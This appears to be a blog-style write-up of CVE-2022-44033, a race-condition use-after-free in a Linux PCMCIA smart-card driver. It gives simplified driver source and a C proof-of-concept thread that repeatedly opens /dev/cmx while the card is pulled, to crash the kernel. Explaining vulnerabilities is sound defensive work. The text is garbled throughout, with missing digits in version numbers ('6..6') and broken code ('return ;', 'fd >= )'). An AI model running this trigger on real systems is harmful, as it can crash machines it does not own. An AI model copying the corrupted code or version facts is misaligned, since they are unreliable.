Security flaws in kernel drivers can lead to severe vulnerabilities, including remote code execution or local privilege escalation. In late 2022, an issue was discovered in the Linux kernel’s cm404_cs driver (for PCMCIA devices), present up to version 6..6. This bug, assigned as CVE-2022-44033, exposes a race condition leading to a classic *use-after-free* (UAF) scenario.

In layman’s terms, if an attacker is physically close to a system and removes a PCMCIA device while it's being accessed, they could potentially trigger kernel memory corruption. This post breaks down the vulnerability, explores proof-of-concept exploitation, and offers insights on mitigation.

Linux kernel: through 6..6 (possibly earlier versions too).

- Driver: drivers/char/pcmcia/cm404_cs.c
- Scenario: Only when the cm404 driver is loaded and the buggy PCMCIA (smart card) device is being utilized by a program (e.g., accessed by open() syscall).

Simple Explanation: What Is the Vulnerability?

A Race Condition: Two parts of the cm404 driver code can act on the same resource almost simultaneously. When a device is unplugged at just the wrong time—while another process is opening the device—the kernel memory structures can be double-freed or unexpectedly accessed after being freed.

Use-After-Free (UAF): This means the kernel accesses a memory location after it has been marked as “free” (not to be used anymore). As kernels are trusted code, exploiting this bug can lead to privilege escalation, information leaks, or a full system crash.

Who’s at Risk? Anyone using affected kernels with PCMCIA smart card interfaces (rare, but present, especially in embedded or legacy setups).

How It Happens

1. A user process calls open() on /dev/cmx (managed by cm404_cs).
2. At the same time, another event (user/device removal) triggers reader_detach(), which removes and frees the structure representing the device.
3. Both can end up accessing and modifying the same memory (struct cm404_dev), resulting in use-after-free.

Below is a simplified part of the source (cm404_cs.c)

// Called when a process opens /dev/cmx
static int cm404_open(struct inode *inode, struct file *filp)
{
    struct cm404_dev *dev;
    ...
    dev = get_device_from_inode(inode); // retrieve pointer

    // Vulnerable region: 'dev' could be freed by reader_detach() here
    if (dev->open_count)
        return -EBUSY;

    dev->open_count++;
    filp->private_data = dev;
    ...
    return ;
}

And the detachment routine, called when card is removed

static void reader_detach(struct pcmcia_device *p_dev)
{
    struct cm404_dev *dev = p_dev->priv;
    ...
    // Dev could still be referenced in cm404_open()!
    kfree(dev);
    p_dev->priv = NULL;
}

If the card is physically removed *during* the open process, dev could be freed in reader_detach but still be used in cm404_open(). That’s the use-after-free!

Juggle timing to pull the PCMCIA card at the precise moment.

By orchestrating this carefully, a race condition triggers a kernel memory corruption, which could panic (crash) the system—or, with advanced exploitation skills, allow the attacker privileged access.

Example Exploit (Proof-of-Concept)

The following scenario demonstrates a local denial-of-service (kernel panic) exploit via a small C program and rapidly removing/inserting the card. (This is simplified for illustration):

// PoC: cve-2022-44033_poc.c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>

void* open_device(void* arg) {
    int fd;
    while (1) {
        fd = open("/dev/cmx", O_RDONLY);
        if (fd >= )
            close(fd);
    }
    return NULL;
}

int main() {
    pthread_t t;
    pthread_create(&t, NULL, open_device, NULL);

    // INSTRUCTION: At this point, the attacker rapidly removes/inserts the PCMCIA card,
    // repeatedly, to trigger the race. Watch dmesg for kernel oops/panic.

    pthread_join(t, NULL);
    return ;
}

WARNING: This can crash your system—only try on non-production or test devices.

Fixes and Mitigation

- Kernel Patch: See mainline commit ac85822 (October 2022).

Upgrade: If you use PCMCIA cards and kernel <6.1, upgrade *immediately*.

- Workaround: If you don’t use pcsc or smartcard readers, blacklist or unload the cm404_cs module.

- CVE-2022-44033 (NIST NVD)
- Linux kernel patch commit
- oss-security mailing list coverage
- Elena Reshetova’s kernel UAF post

Conclusion

CVE-2022-44033 teaches the importance of careful memory management in kernel code, especially with asynchronous hardware events and user APIs. Such “simple” races—even in old hardware drivers—can devastate system security.

If you’re running an affected kernel and use this hardware, patch now. For everyone else, this is one more lesson in the relentless battle for safe systems—even features you never use can put you at risk.

Timeline

Published on: 10/30/2022 01:15:00 UTC
Last modified on: 11/01/2022 13:58:00 UTC